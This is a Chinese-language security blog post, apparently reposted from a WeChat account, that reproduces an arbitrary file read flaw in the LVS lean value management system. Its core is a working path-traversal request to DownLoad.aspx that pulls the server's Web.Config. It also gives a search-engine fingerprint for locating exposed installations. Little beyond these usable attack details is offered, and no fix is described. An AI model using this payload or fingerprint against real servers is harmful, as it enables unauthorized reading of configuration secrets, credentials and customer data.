LVS精益价值管理系统存在DownLoad任意文件读取漏洞

admin
admin
admin
109388
文章
90
评论
2024年5月31日11:49:13评论11 views字数 270阅读0分54秒阅读模式
1漏洞描述

LVS精益价值管理系统存在DownLoad任意文件读取漏洞，恶意攻击者可能利用该漏洞读取服务器上的敏感文件，例如客户记录、财务数据或源代码，导致数据泄露。

2漏洞POC
地址/Business/DownLoad.aspx?p=UploadFile/../Web.Config
3漏洞复现
首页

LVS精益价值管理系统存在DownLoad任意文件读取漏洞

GET方式访问

LVS精益价值管理系统存在DownLoad任意文件读取漏洞

4
网络测绘
body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"

原文始发于微信公众号（我吃饼干）：【漏洞复现】LVS精益价值管理系统存在DownLoad任意文件读取漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月31日11:49:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   LVS精益价值管理系统存在DownLoad任意文件读取漏洞https://cn-sec.com/archives/2783034.html

发表评论

匿名网友 填写信息